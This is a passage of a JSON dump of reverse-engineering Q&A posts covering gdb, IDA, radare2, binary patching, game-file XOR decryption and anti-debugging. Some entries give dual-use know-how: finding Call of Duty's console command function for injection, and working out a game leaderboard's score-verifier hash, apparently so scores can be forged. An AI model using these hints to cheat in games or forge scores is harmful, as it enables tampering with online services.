        "Answer": "<p>You need to select <code>Portable executable for 80386 (PE)</code> from the list of loaders in IDA instead of confirming the default (<code>Microsoft.NET assembly</code>).\n<a href=\"https://i.stack.imgur.com/N5Orj.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/N5Orj.png\" alt=\"IDA loader screen\"></a></p>\n"
    },
    {
        "Id": "11620",
        "CreationDate": "2015-12-24T07:49:17.627",
        "Body": "<p>I'm using a <a href=\"https://github.com/gdbinit/Gdbinit\" rel=\"nofollow\">.gdbinit file</a> that is supposed to print the values of all registers at every hook_stop, followed by the stack and data frames.  However, when running many programs, there are often segment registers that are unavailable, which is causing me problems. The script aborts when it encounters such a register.  I get the error message: <code>Error while running hook_stop: value is not available</code>.  Because of the error, none of the remaining segment registers are printed, nor are the stack and data frames.</p>\n\n<p>I want to know if there is a way to handle the error in the gdb scripting language, or better yet, just test if a register is available, and only print it if it is.  I've tried:</p>\n\n<pre><code>if $ds\n    printf \" %04X  \", $ds\nelse\n    printf \" ----  \"\nend\n</code></pre>\n\n<p>but that's still giving me the error.  I read through the docs for hours and couldn't find anything that worked.  Any ideas?</p>\n",
        "Title": "How to test if register value is unavailable in gdb?",
        "Tags": "|gdb|",
        "Answer": "<p>I've figure it out. You can figure out if a value is available by inspecting it via python:</p>\n\n<p>I've create a convenience function which you can call from your <code>.gdbinit</code> to easily check if the value is available.</p>\n\n<p>Save this in a python file and source it in your <code>.gdbinit</code>:</p>\n\n<pre><code>class IsValid (gdb.Function):\n    def __init__ (self):\n        super (IsValid, self).__init__(\"isvalid\")\n\n    def invoke (self, var):\n        if var.__str__() == \"&lt;unavailable&gt;\":\n            return 0\n        else:\n            return 1\n\nIsValid ()\n</code></pre>\n\n<p>By calling this convenience function, you can branch to handle the error:</p>\n\n<pre><code>if ($isvalid($ds))\n    printf \" %04X  \", $ds\nelse\n    printf \" ----  \"\nend\n</code></pre>\n"
    },
    {
        "Id": "11628",
        "CreationDate": "2015-12-24T19:54:41.233",
        "Body": "<p>I want to make a program that injects a string into the game's developer's console. (Call of Duty: Modern Warfare 2 in this case) How would I approach this? Would I need to find the console's memory address and write memory to that or is that the wrong approach?</p>\n",
        "Title": "Inject into game developer's console",
        "Tags": "|windows|injection|",
        "Answer": "<p>In Call of Duty games you can search for the string \"xpartygo\" and xref that with IDA. That way you'll find Cmd_ExecuteSingleCommand.</p>\n"
    },
    {
        "Id": "11635",
        "CreationDate": "2015-12-26T07:44:51.537",
        "Body": "<p>Little knowledge of assembly can be a problem sometimes. </p>\n\n<pre><code> push       ebp\n lea        eax,[ebp-3C0]\n call       005A0E30\n pop        ecx\n mov        edx,dword ptr [ebp-3C0]\n lea        eax,[ebp-20]\n call       @UStrLAsg\n push       ebp\n lea        eax,[ebp-3C4]\n call       005A1568\n pop        ecx\n</code></pre>\n\n<p>Just as the above code, I am trying to understand what is happening but I cannot understand the instructions <code>lea</code> followed by a <code>call</code>. </p>\n\n<p>Maybe if I had an idea of what <code>@UstrLAsg</code> means I would start to get what is going on there or maybe someone out there can give me a hint.</p>\n",
        "Title": "what is the meaning of UsrLAsg in assembly?",
        "Tags": "|assembly|x86|",
        "Answer": "<blockquote>\n<pre><code>mov        edx,dword ptr [ebp-3C0]\n</code></pre>\n</blockquote>\n\n<p>This instruction sets register <code>edx</code> to the value of the DWORD at memory address (<code>ebp-3C0</code>).</p>\n\n<blockquote>\n<pre><code>lea        eax,[ebp-20]\n</code></pre>\n</blockquote>\n\n<p>This instruction sets register <code>eax</code> to the value (<code>ebp-20</code>); despite the square brackets in the instruction, there is no memory dereferencing involved.</p>\n\n<blockquote>\n<pre><code>call       @UStrLAsg\n</code></pre>\n</blockquote>\n\n<p>This instruction calls the Delphi library function <code>UStrLAsg()</code>, which receives its input arguments via <code>eax</code> and <code>edx</code>. <a href=\"https://stackoverflow.com/questions/12837129/string-const-why-different-implementation-for-local-and-result\">A little Googling</a> shows that that function is used to assign a local Unicode string to a global variable, where <code>edx</code> points to the source string and <code>eax</code> points to the global variable.</p>\n"
    },
    {
        "Id": "11640",
        "CreationDate": "2015-12-28T00:12:04.703",
        "Body": "<p>I am new to ASM. Working in IDA Pro 6.8 on a 64-bit executable. </p>\n\n<p>I am not able to modify the jmp address for this instruction:</p>\n\n<pre><code>    ........   \n    .text:0000000141BAFB57 loc_141BAFB57:                          \n    .text:0000000141BAFB57                 lea     rcx, [rbp+520h+var_20]\n    .text:0000000141BAFB5E                 lea     rdx, abc_data\n    .text:0000000141BAFB65                 call    sub_141CCAC80\n    .text:0000000141BAFB6A                 jmp     loc_141BAF9D6\n    .text:0000000141BAFB6A subroutine endp\n    .text:0000000141BAFB6A\n    .text:0000000141BAFB6F\n</code></pre>\n\n<p>I want to either change the jmp address from loc_141BAF9D6 to loc_141BAFA9C or simply nop the instruction...</p>\n\n<p>every time I attempt this in IDA Pro 6.8 it moves the jmp (or the nop) instruction outside the subroutine endp closing, and therefore IDA gives me now a SP-Analysis failed error... example:</p>\n\n<pre><code>.text:0000000141BAFB57 loc_141BAFB57:                          \n.text:0000000141BAFB57                 lea     rcx, [rbp+520h+var_20]\n.text:0000000141BAFB5E                 lea     rdx, abc_data\n.text:0000000141BAFB65                 call    sub_141CCAC80\n.text:0000000141BAFB65 subroutine endp ; sp-analysis failed\n.text:0000000141BAFB65\n.text:0000000141BAFB6A                 jmp     loc_141BAFA9C\n.text:0000000141BAFB6F\n</code></pre>\n\n<p>I've tried editing the instruction via Edit > Patch Program Assemble, directly in HEX view, using IDAPatcher, and using Fetanyl plugin... it always moves the instruction outside of the endp statement, breaking the code...</p>\n\n<p>Is this not possible in general or what am I doing wrong ?</p>\n\n<p>I've tried OllyDbg but it does not open 64-bit files...</p>\n",
        "Title": "IDA Pro - Error When Modifying JMP Instruction",
        "Tags": "|ida|ollydbg|",
        "Answer": "<p>It is possible. I think that it is bug in IDA (editing last instruction of the function removes it from the function, I succeeded to reproduce this behavior), but you can work it around by fixing the function after patching.</p>\n\n<p>The easiest way to do it is as follows:</p>\n\n<ol>\n<li>After doing the patching</li>\n<li>Place a cursor to the instruction removed from the function in IDA-View-A window (regular assembly window)</li>\n<li>and press E. This will define the end of function to the current instruction, which means to the address where it was before.</li>\n</ol>\n\n<p>You can do the same by editing the function end address in function properties dialog (Edit->Functions->Edit Function or <kbd>Alt-P</kbd>.\nGood luck.</p>\n"
    },
    {
        "Id": "11651",
        "CreationDate": "2015-12-30T10:31:57.637",
        "Body": "<p>Using a forward proxy, I have logged two payloads that are POST requests to a site, and I was curious as to what the best way to determine how a particular attribute in the payloads was generated. Below are the two payloads:</p>\n\n<pre><code>dedup_counter=2&amp;leaderboard=2&amp;scores=3563736&amp;session=4FMzmwStjaRC&amp;verifier=7e9282dbce68fe787be15f6633246fcd8297eb18\n</code></pre>\n\n<p>&nbsp;</p>\n\n<pre><code>dedup_counter=3&amp;leaderboard=4&amp;scores=10448&amp;session=4FMzmwStjaRC&amp;verifier=07bdb58cb2147b4ef0ca01110a74e4fb4c8e99c1\n</code></pre>\n\n<p>I believe that the <code>verifier</code> attribute is an SHA-1 checksum since that's the most common 20-byte hashing method, though I cannot confirm this. The issue is, I don't know what it's a checksum of and I'd like to know how to go about determining the process that was used for generating it. Any advice? I'll be happy to provide more specific information upon request.</p>\n",
        "Title": "Reverse-engineering the generation of a hash?",
        "Tags": "|exploit|deobfuscation|hash-functions|",
        "Answer": "<p>Unique key names come in handy here. Short search on some of the names suggest that this is coming from the <a href=\"https://github.com/pankaku/pankia/wiki/Installing-the-SDK\" rel=\"nofollow\">Pankia</a> gaming SDK. Quick review confirms that verifier is SHA1 of some kind of game secret and a UUID.</p>\n"
    },
    {
        "Id": "11653",
        "CreationDate": "2015-12-30T14:58:05.243",
        "Body": "<p>Is is possible to retrieve the dissassembly of Objective-C methods declared in Mach-O files using Radare 2 ?</p>\n",
        "Title": "Method disassembly of Objective C Mach-O with Radare 2",
        "Tags": "|radare2|mach-o|",
        "Answer": "<p>Essentially, it's the following workflow:</p>\n\n<pre><code>r2 -A /path/to/binary   // load the binary and perform initial analysis\nafl                     // print function symbols\npdf @sym.of.interest    // disassemble\npdc @sym.of.interest    // \"decompile\" or generate pseudo code\n</code></pre>\n\n<p>Here is an example of how to disassemble a function of <a href=\"https://github.com/gdbinit/MachOView\" rel=\"noreferrer\">MachoViewer</a>:</p>\n\n<pre><code>@0x4B6169:/$ r2 -A /Applications/MachOView.app/Contents/MacOS/MachOView 2&gt;/dev/null\n -- Run .dmm* to load the flags of the symbols of all modules loaded in the debugger\n[0x100001da0]&gt; afl | grep sym.__MachOLayout_get\n0x10000b252    4 49           sym.__MachOLayout_getSectionByIndex:_\n0x10000b283    4 49           sym.__MachOLayout_getSection64ByIndex:_\n0x10000b2b4    4 49           sym.__MachOLayout_getSymbolByIndex:_\n0x10000b2e5    4 49           sym.__MachOLayout_getSymbol64ByIndex:_\n0x10000b316    4 49           sym.__MachOLayout_getDylibByIndex:_\n[0x100001da0]&gt; pdf @sym.__MachOLayout_getSymbolByIndex:_\n            ;-- func.10000b2b4:\n            ;-- method.MachOLayout.getSymbolByIndex::\n\u2552 (fcn) sym.__MachOLayout_getSymbolByIndex:_ 49\n\u2502           0x10000b2b4      55             push rbp\n\u2502           0x10000b2b5      4889e5         mov rbp, rsp\n\u2502           0x10000b2b8      89d0           mov eax, edx\n\u2502           0x10000b2ba      488b151f760f.  mov rdx, qword [rip + 0xf761f] ; [0x1001028e0:8]=176 LEA sym._OBJC_IVAR___MachOLayout.symbols ; sym._OBJC_IVAR___MachOLayout.symbols\n\u2502           0x10000b2c1      488b0c17       mov rcx, qword [rdi + rdx]\n\u2502           0x10000b2c5      488b541708     mov rdx, qword [rdi + rdx + 8] ; [0x8:8]=0x280000003\n\u2502           0x10000b2ca      4829ca         sub rdx, rcx\n\u2502           0x10000b2cd      48c1fa03       sar rdx, 3\n\u2502           0x10000b2d1      4839d0         cmp rax, rdx\n\u2502       \u250c\u2500&lt; 0x10000b2d4      7306           jae 0x10000b2dc\n\u2502       \u2502   0x10000b2d6      488b04c1       mov rax, qword [rcx + rax*8]\n\u2502      \u250c\u2500\u2500&lt; 0x10000b2da      eb07           jmp 0x10000b2e3\n\u2502      \u2502\u2502   ; JMP XREF from 0x10000b2d4 (sym.__MachOLayout_getSymbolByIndex:_)\n\u2502      \u2502\u2514\u2500&gt; 0x10000b2dc      488d05e5fd0a.  lea rax, [rip + 0xafde5]   ; 0x1000bb0c8 ; sym.__MachOLayoutgetSymbolByIndex:_::notfound ; sym.__MachOLayoutgetSymbolByIndex:_::notfound\n\u2502      \u2502    ; JMP XREF from 0x10000b2da (sym.__MachOLayout_getSymbolByIndex:_)\n\u2502      \u2514\u2500\u2500&gt; 0x10000b2e3      5d             pop rbp\n\u2558           0x10000b2e4      c3             ret\n[0x100001da0]&gt; quit\n</code></pre>\n\n<p>Generating some form of pseudo code (\"decompiling\") works similarly through the ingeniously logic command input:</p>\n\n<pre><code>[0x100001da0]&gt; pdc @sym.__MachOLayout_getSymbolByIndex:_\nfunction sub.__MachOLayoutgetSymbolByIndex:_.notfound_2b4 () {\n    loc_0x10000b2b4:\n\n       push rbp\n       rbp = rsp\n       eax = edx\n       rdx = qword sym._OBJC_IVAR___MachOLayout.symbols //[0x1001028e0:8]=176 ; \"__text\"\n       rcx = qword [rdi + rdx]\n       rdx = qword [rdi + rdx + 8] //[0x8:8]=0x280000003\n       rdx -= rcx\n       rdx &gt;&gt;= 3\n       var = rax - rdx\n       jae 0x10000b2dc          //unlikely\n       {\n        loc_0x10000b2dc:\n\n         //JMP XREF from 0x10000b2d4 (sub.__MachOLayoutgetSymbolByIndex:_.notfound_2b4)\n           rax = [sym.__MachOLayoutgetSymbolByIndex:_::notfound] //method.__MachOLayoutgetSymbolByIndex:_.notfound ; 0x1000bb0c8 ; method.__MachOLayoutgetSymbolByIndex:_.notfound\n       do\n       {\n            loc_0x10000b2e3:\n\n             //JMP XREF from 0x10000b2da (sub.__MachOLayoutgetSymbolByIndex:_.notfound_2b4)\n               pop rbp\n\n           } while (?);\n       } while (?);\n      }\n      return;\n\n}\n</code></pre>\n\n<p>Inside <a href=\"https://www.hopperapp.com/\" rel=\"noreferrer\">hopper v4</a> you can do the same as follows:</p>\n\n<pre><code>hopperv4 -e /Applications/MachOView.app/Contents/MacOS/MachOView\n</code></pre>\n\n<p>This opens hopper and you can click on the \"Proc.\" tab, and search for the function. Once you click on it, you will see the following disassembly (radare2 1.5.0 0 @ darwin-x86-64 git.1.5.0, commit: HEAD build: 2017-05-31__14:31:32):</p>\n\n<pre><code>000000010000b2b4         push       rbp                                         ; Objective C Implementation defined at 0x1000f5de8 (instance method), DATA XREF=0x1000f5de8\n000000010000b2b5         mov        rbp, rsp\n000000010000b2b8         mov        eax, edx\n000000010000b2ba         mov        rdx, qword [_OBJC_IVAR_$_MachOLayout.symbols]\n000000010000b2c1         mov        rcx, qword [rdi+rdx]\n000000010000b2c5         mov        rdx, qword [rdi+rdx+8]\n000000010000b2ca         sub        rdx, rcx\n000000010000b2cd         sar        rdx, 0x3\n000000010000b2d1         cmp        rax, rdx\n000000010000b2d4         jae        loc_10000b2dc\n\n000000010000b2d6         mov        rax, qword [rcx+rax*8]\n000000010000b2da         jmp        loc_10000b2e3\n\n                     loc_10000b2dc:\n000000010000b2dc         lea        rax, qword [__ZZ32-[MachOLayout getSymbolByIndex:]E8notfound] ; CODE XREF=-[MachOLayout getSymbolByIndex:]+32\n\n                     loc_10000b2e3:\n000000010000b2e3         pop        rbp                                         ; CODE XREF=-[MachOLayout getSymbolByIndex:]+38\n000000010000b2e4         ret\n</code></pre>\n\n<p>Clearly, the pseudo-code inside hopper is at this moment still quite better than what I could get inside radare2. The above disassembly in pseudo code inside hopper (v4.2.1) reads:</p>\n\n<pre><code>struct nlist * -[MachOLayout getSymbolByIndex:](void * self, void * _cmd, unsigned int arg2) {\n    rax = arg2;\n    rcx = self-&gt;symbols;\n    if (rax &lt; SAR(*(self + *_OBJC_IVAR_$_MachOLayout.symbols + 0x8) - rcx, 0x3)) {\n            rax = *(rcx + rax * 0x8);\n    }\n    else {\n            rax = -[MachOLayout getSymbolByIndex:]::notfound;\n    }\n    return rax;\n}\n</code></pre>\n"
    },
    {
        "Id": "11657",
        "CreationDate": "2015-12-30T18:19:26.763",
        "Body": "<p>I'm trying to find out what value a certain parameter has when it's called (I know \"parameters\" are gone after compiled, but you get the idea). The pseudo-C and assembly code are:</p>\n\n<pre><code>sub_171F4A0(ctx, aes_mode, KEY, &amp;IV); // EVP_DecryptInit(EVP_CIPHER_CTX *ctx, const EVP_CIPHER *cipher, const unsigned char *key, const unsigned char *iv)\n\n.text:000000000040CEE6 ; 252:   sub_171F4A0(v110, v125, ptr, &amp;v130);\n.text:000000000040CEE6\n.text:000000000040CEE6 loc_40CEE6:                             ; CODE XREF: sub_40CAD0+363j\n.text:000000000040CEE6                 mov     rdi, [rsp+400h+var_400]\n.text:000000000040CEEA                 lea     rcx, [rsp+400h+var_1C0]\n.text:000000000040CEF2                 mov     rsi, [rcx-28h]\n.text:000000000040CEF6                 mov     rdx, [rsp+400h+ptr]\n.text:000000000040CEFE                 call    sub_171F4A0\n</code></pre>\n\n<p>I have already figured out <code>IV</code> value, but now I need <code>KEY</code>, which is 16 bytes.</p>\n\n<p>Then I ran <code>gdb ./executable</code> (Linux 64-bit ELF binary) and set a breakpoint at 0x40CEF6 and examined all the registers mentioned above (I have no idea which one holds the third parameter).</p>\n\n<pre><code>(gdb) break *0x40CEF6\nBreakpoint 1 at 0x40cef6\n(gdb) run\nStarting program: /path/to/executable\n[Thread debugging using libthread_db enabled]\nUsing host libthread_db library \"/lib/x86_64-linux-gnu/libthread_db.so.1\".\n\nBreakpoint 1, 0x000000000040cef6 in ?? ()\n(gdb) x/4x $rdi\n0x29d72f0:  0x00000000  0x00000000  0x00000000  0x00000000\n(gdb) x/4x $rcx\n0x7fffffffe340: 0x00000000  0x00000000  0x00000000  0x00000000\n(gdb) x/4x $rsi\n0x1c11620:  0x000001a3  0x00000010  0x00000010  0x00000010\n(gdb) x/4x $rdx\n0x2a09690:  0x724a5bac  0xa90b86f0  0xff9d8546  0x9910582b\n</code></pre>\n\n<p>None of those values is the actual key, but $rdx seems to be the best candidate to hold the key value.</p>\n\n<p>However, since it's a pointer, I thought I should examine 0x724a5baca90b86f0, just in case, which didn't work:</p>\n\n<pre><code>(gdb) x/4x 0x724a5baca90b86f0\n0x724a5baca90b86f0: Cannot access memory at address 0x724a5baca90b86f0\n</code></pre>\n",
        "Title": "Reverse engineering parameter value on subroutine call",
        "Tags": "|gdb|encryption|",
        "Answer": "<p>Set your breakpoint on address <code>0x0040CEFE</code> and examine the memory pointed to by <code>rdx</code> at that point.</p>\n"
    },
    {
        "Id": "11659",
        "CreationDate": "2015-12-30T22:06:56.027",
        "Body": "<p><strong>Hello,</strong></p>\n\n<p>I'm from Uruguay so I'll make my best effort to explain my \"problem\" in english.\nI want to read some text that is inside a .DAT file, but is \"encrypted\" or \"compressed\" (I don't know which is the right \"term\" for this). The file is from the game SMITE, and this file has basically most of the text in the game (like unreleased Item descriptions) and that's why I want to read the file :D</p>\n\n<p><strong>Previous versions of the file could be readed with Notepad ++, like this:</strong>\n<a href=\"https://i.stack.imgur.com/LCi71.png\" rel=\"nofollow noreferrer\">https://i.stack.imgur.com/LCi71.png</a></p>\n\n<p>But current versions are just random letters and <strong>NULL</strong> characters. (I can't post a picture because of the \"only two links\" restriction).</p>\n\n<p>I'm interested in just two files. One, is named \"Lang_INT.dat\", inside the Localization folder, there is another file in that folder named \"GFxTranslation.int\", which has some text that appears in the Lobby Screen and things like that, that's why the \"Localization\" folder has to be where the text is... but in the first picture that I shared, you can see text that appears in-game and also in the lobby screen, and it's on another folder named \"Content\" and the file is named \"assembly.dat\", with another file named \"behavior_trees.dat\" but I think that file is not important to me.</p>\n\n<p>By the way, this maybe would be usefull as a \"reference\", there is another .DAT file named \"word filter\" which (i suppose) has the \"bad words\" that are censored in the chat if the word filter is activated. This .DAT is inside the Localization folder.</p>\n\n<h2><a href=\"https://mega.nz/#!eJ5QiLDD!lxbfkGmKBmJ7OoXQoIjcH7adAhIn7I8Cka2CCTLyPsw\" rel=\"nofollow noreferrer\">Here is a link with ALL the .DAT mentioned in this post</a></h2>\n\n<p>I'll appreciate any kind of help on this, I did some research but I did not find anything that is usefull... the only thing that I know is: A person who has no knowledge about programing or \"some\" knowledge, could \"de-compress\" \"decrypt\" one of this files...or that is what looks like, and no, that person do not want to help me :c</p>\n\n<p>Thanks in advance again, and sorry for bad English:</p>\n\n<p>-Agust\u00edn</p>\n",
        "Title": "Extract text data from a compressed/encrypted .DAT file",
        "Tags": "|decompilation|file-format|decryption|",
        "Answer": "<p>These files are definitely not compressed. behavior_trees.dat is a binary file which is not encrypted and not compressed, just binary. Encryption, as far as I can see, looks like substitution cipher which should be relatively easy to crack with frequency analysis if you know what should be there. Assuming that decrypted content of files from older and newer versions are similar you can try to account frequencies of symbols on a base of files of previous versions.</p>\n\n<p>Here is what I'd do for decrypting (for example) assembly.dat file:</p>\n\n<ol>\n<li>Get a corresponding file from previous version which should be not encrypted.</li>\n<li>Account frequency of appearance of each symbol (should be easily done with simple python script)</li>\n<li>Account frequency of appearance of each symbol in newer version files.</li>\n<li>Try to replace symbols from the newer files to the symbols with same (or alike) appearance rate from the older file and see what happends.</li>\n</ol>\n\n<p>UPDATE, Just for the sake of completeness:</p>\n\n<p>I used an excellent tool <a href=\"http://blog.didierstevens.com/programs/xorsearch/\" rel=\"nofollow\">XorSearch</a> by Didier Stevens (it was mentioned by @Andy Dove in answer to another question, which reminded me to return to this one) and found out the following:</p>\n\n<ul>\n<li>Assuming that the decrypted content of current file is similar to content of previous I tried to find some words from the picture you provided with this tool (for example words like item, Pickup and Physical) .</li>\n<li>The tool shows that it is xor substitution cipher, the key is 0x2a, applying it to word filter  and lang int files gives reasonable result.</li>\n<li>Applying this key gives a lot of reasonable strings, for all files I tried the key was the same.</li>\n<li>According to your claim you know some basics in programming. Which means that you'll be able to run the following python script on your files and understand what happens or translate it to the language of your choice.</li>\n</ul>\n\n<p>Good luck.</p>\n\n<pre><code>import os\nimport sys\n\nf = open(sys.argv[1], \"rb\")\no = open(sys.argv[2], \"wb\")\n\ndata = f.read()\n\nfor d in data:\n    o.write(\"\" + chr (ord(d) ^ 0x2a))\n\n\nf.close()\no.close()\n</code></pre>\n"
    },
    {
        "Id": "11661",
        "CreationDate": "2015-12-31T07:03:24.927",
        "Body": "<p>I became curious about how Trend Micro communicated with its servers so I gleaned some of the unique and standard HTTP headers that were being sent back and forth using Fiddler2. I created a winsock program in C++ that sends the following:</p>\n\n<pre><code>    GET /T/128/y2k-L48MLwdH0BuLxZvYxGjK5An-UV6lY772ppsBGZ3ojsPfa37NjMDonK98FPZesq5hXXOsV082oIdmeTaWURWiB4qqibZGVy8ZzCKKDLpZ9ekYPU7X4UgyBnKWFENX HTTP/1.1\n    Host: titanium80-en.url.trendmicro.com\n    User-Agent: TMUFE\n    Accept: /\n    X-TM-UF-INFO: 76/Uj3tcG7ArMH0ktdN_RiX6fLyEhB2sQWJhjJRJufMEMElv7j6EizpjjDSQd_cUW5fMormb8Q8FN4=\n    Connection: Keep-Alive\n</code></pre>\n\n<p>Obviously I don't know what those encrypted values are because I only copied and pasted them from Fiddler to see what the server would reply with which was an encrypted string like so:</p>\n\n<pre><code>XnbdFqiy5YGldi-HnN5y7pH0kZ03J_UsH-bZ5JUi0aNEj-aa1P8cQlU9I2b77Jf-Rgd1fepEqlTp\nH_LlvWDqe0YjWKvw01M1zkXx_iAbFIm9Ld_QcUTw9cQsNIok7-cOK8wKVyDR63SVwBjebXthWKh0kBW3\nwWn3Y0D7UoGDYSeSJfLoqSroByZligLXqEZ5\n</code></pre>\n\n<p>I need to know where in the program, once I've decompiled it using something like Cheat Engine and have the hexadecimal, I can find the encryption or encoding being used and or a key.</p>\n\n<p>UPDATE: After using an encoding detector and suggestions from different people I tried decoding it as base64 but I keep getting symbols and gibberish as follows:\n<code>\u00d6\u00c1\u00be\u00e4/\u00c6\u00bc0</code>and <code>//G\u00d0\u00c5\u00d8\u00c4</code>. Any knowledge on this would be greatly appreciated. :)</p>\n",
        "Title": "How would I go about finding an encryption key or cipher by decompiling a program?",
        "Tags": "|encryption|decryption|",
        "Answer": "<p>Using IDA Pro, look for the strings <code>TMUFE</code> and/or <code>X-TM-UF-INFO</code> and find their cross-references. The code that references those strings is part of the code that makes those HTTP requests and handles (decrypts) the server's responses. You can thus analyze that code to determine how your program performs the decryption.</p>\n\n<p>If you'd like further help, you may want to post a link to the target program (assuming it's freeware/shareware/trialware and thus shareable).</p>\n"
    },
    {
        "Id": "11663",
        "CreationDate": "2015-12-31T13:38:01.643",
        "Body": "<p>Generally when I have Vista application it upgrade few function from kernel32.dll</p>\n\n<p>most often being InitializeCriticalSection -> InitializeCriticalSectionEx</p>\n\n<p>Is it possibly to backport such? beside changing linker OSVersion.</p>\n\n<p>Edit: Just to be verbose, here is the example</p>\n\n<pre><code>.text:0048CE4D                 xor     esi, esi\n.text:0048CE4F                 push    esi             ; Flags\n.text:0048CE50                 push    esi             ; dwSpinCount\n.text:0048CE51                 push    ecx             ; lpCriticalSection\n.text:0048CE52                 call    ds:InitializeCriticalSectionEx\n.text:0048CE58                 test    eax, eax\n</code></pre>\n\n<p>hex dump:\n<code>33 F6 56  56 51 FF 15 F0 C1 4A 00 85 C0</code></p>\n",
        "Title": "How to backport Vista program to XP without source code?",
        "Tags": "|disassembly|windows|",
        "Answer": "<p>It is easy as pie.</p>\n\n<pre><code>                33 F6 56 56 51 FF 15 F0 C1 4A 00 85 C0\nchanged into -&gt; 33 F6 90 90 51 FF 15 F0 C1 4A 00 85 C0\n                      ^^ ^^\n</code></pre>\n\n<p>And change the String in Import table</p>\n\n<pre><code>49 6E 69 74 69 61 6C 69 7A 65 43 72 69 74 69 63 61 6C 53 65 63 74 69 6F 6E 45 78 00 // InitializeCriticalSectionEx\n49 6E 69 74 69 61 6C 69 7A 65 43 72 69 74 69 63 61 6C 53 65 63 74 69 6F 6E 00 00 00  // InitializeCriticalSection \n                                                                           ^^ ^^\n</code></pre>\n"
    },
    {
        "Id": "11669",
        "CreationDate": "2016-01-01T07:51:16.813",
        "Body": "<p>I've been reading <a href=\"http://media.hacking-lab.com/scs3/scs3_pdf/SCS3_2011_Bachmann.pdf\" rel=\"noreferrer\">this PDF on reverse-engineering iOS applications</a> and have reached slide 39, decrypting the binary. However, I've been attempting to disassemble and explore the binary in OS X 10.9.5 rather than iOS, since my phone is not jailbroken and I'd prefer not to do so.</p>\n\n<p>I downloaded the IPA file from the App Store by using <a href=\"https://newspaint.wordpress.com/2012/11/05/node-js-http-and-https-proxy/\" rel=\"noreferrer\">a forward proxy</a> running locally on my laptop to intercept the download request on my iPhone and replicate it on my laptop. From there I followed <a href=\"http://osxdaily.com/2011/04/07/extract-and-explore-an-ios-app-in-mac-os-x/\" rel=\"noreferrer\">these directions</a> to extract the encrypted binary from the IPA file, and used the directions from the PDF file to check whether it was encrypted. I confirmed that it was encrypted because the output from <code>otool</code> was:</p>\n\n<pre><code>Load command 11\n          cmd LC_ENCRYPTION_INFO\n      cmdsize 20\n    cryptoff  8192\n    cryptsize 15187968\n    cryptid   1\n</code></pre>\n\n<p>Is there a way to decrypt the DRM using only my Apple computer?</p>\n",
        "Title": "Decrypting IPA Binary on OS X",
        "Tags": "|arm|decryption|osx|ios|",
        "Answer": "<p>Currently you can't decrypt iOS apps without a device. The encryption keys are ultimately protected by an unknown key which is burned into the processor and cannot be extracted using software, that's why no \"offline\" decryption app has been made.</p>\n"
    },
    {
        "Id": "11671",
        "CreationDate": "2016-01-01T14:25:19.983",
        "Body": "<p>I am interested in the following technique to detect if a debugger is attached or not.</p>\n\n<p><a href=\"http://spareclockcycles.org/2012/02/14/stack-necromancy-defeating-debuggers-by-raising-the-dead/\" rel=\"nofollow\">http://spareclockcycles.org/2012/02/14/stack-necromancy-defeating-debuggers-by-raising-the-dead/</a></p>\n\n<p>However I tried the examples and they don't seem to work.</p>\n\n<p>Do the Windows Debug API modify the debugee stack when they are attached or when they are present?</p>\n\n<p>Thanks !</p>\n",
        "Title": "Detect Debugger exploring Stack",
        "Tags": "|anti-debugging|",
        "Answer": "<p>The results in the article rely on details which are specific to the version of Windows and to the debugger which is present at the time.  They have not been documented widely because they are so unreliable.</p>\n\n<p>Windows will inject a thread into an attached process in order to gather information about the process, which led to the \"DebugBreak overwrite\" technique to defeat it.</p>\n\n<p>There are additional checks which are performed when a debugged process is launched, which can result in altered stack state, but the whole thing is just chasing ghosts.  The behavior of Windows could be changed at any time to reintroduce the behavior or change it in yet other ways.</p>\n"
    },
    {
        "Id": "11674",
        "CreationDate": "2016-01-01T20:05:18.703",
        "Body": "<p>I have a small executable that I downloaded from the net, and that runs in the Command Line, which makes me think it may be a DOS program. The program works perfectly, but due to being developed by a non-English speaker, the interface/presentation of it needs to be cleaned up to make it look a little more professional. Is it possible to get to the file's source code and edit it?</p>\n",
        "Title": "Is it possible to extract or otherwise edit the source code of an .exe file?",
        "Tags": "|windows|executable|dos-exe|",
        "Answer": "<p>The short answer is no - the source is not available if only the .exe is available.  The source code is an entirely separate file which is generally not shared with the public.  However, given the .exe file, it might be possible to \"decompile\" it into a form of source code which would allow a new .exe file to be produced, and which should match the existing one fairly well when performing a byte-for-byte comparison.</p>\n\n<p>With that decompiled source code in hand, it would be possible to make modifications to the behavior or appearance of the program, but it would be far from trivial, since such relatively important things as variable names will not be present, so deriving the meaning of certain memory accesses will require a lot of time and effort.</p>\n\n<p>You would need to consider carefully if the effort is worth the reward.</p>\n"
    },
    {
        "Id": "11681",
        "CreationDate": "2016-01-02T21:55:42.297",
        "Body": "<p>I found <a href=\"http://radare.org/doc/html/Section22.9.html\" rel=\"nofollow noreferrer\">this</a> post stating that Radare can work with <a href=\"http://boomerang.sourceforge.net/\" rel=\"nofollow noreferrer\">Boomerang</a>. However when I try do exactly as they say, I get the following error: <code>sh: 1: rsc: not found</code>.</p>\n<p>From what I can see, <code>rsc</code> is an extra utility that would have come in with Radare1. See <a href=\"http://manpages.ubuntu.com/manpages/raring/man1/rsc.1.html\" rel=\"nofollow noreferrer\">here</a>.</p>\n<p>I understand that ! causes Radare to execute a shell command so I therefore need the <code>rsc</code> utility. However I cannot find it anywhere!</p>\n<p>I'm using Radare2 0.10.0 compiled from git and Boomerang compiled from git as well.</p>\n<p>Does anyone know what the state of these two tools working together is?</p>\n",
        "Title": "Radare2 and Boomerang",
        "Tags": "|radare2|",
        "Answer": "<p>Hello o/ this is the radare1book concerning radare1, use the <a href=\"https://radare.gitbooks.io/radare2book/content/\" rel=\"nofollow\">radare2book</a> for radare2. Boomerang hasn't been yet added to r2 in this version, you can use <code>pdc</code> and <a href=\"https://asciinema.org/a/20904\" rel=\"nofollow\">retdec</a> (see r2pm). We are actually working on <a href=\"https://github.com/radare/radeco\" rel=\"nofollow\">radeco</a>. But you can always contribute and maybe add back this support to r2 ? That would be interesting</p>\n"
    },
    {
        "Id": "11684",
        "CreationDate": "2016-01-03T02:43:22.947",
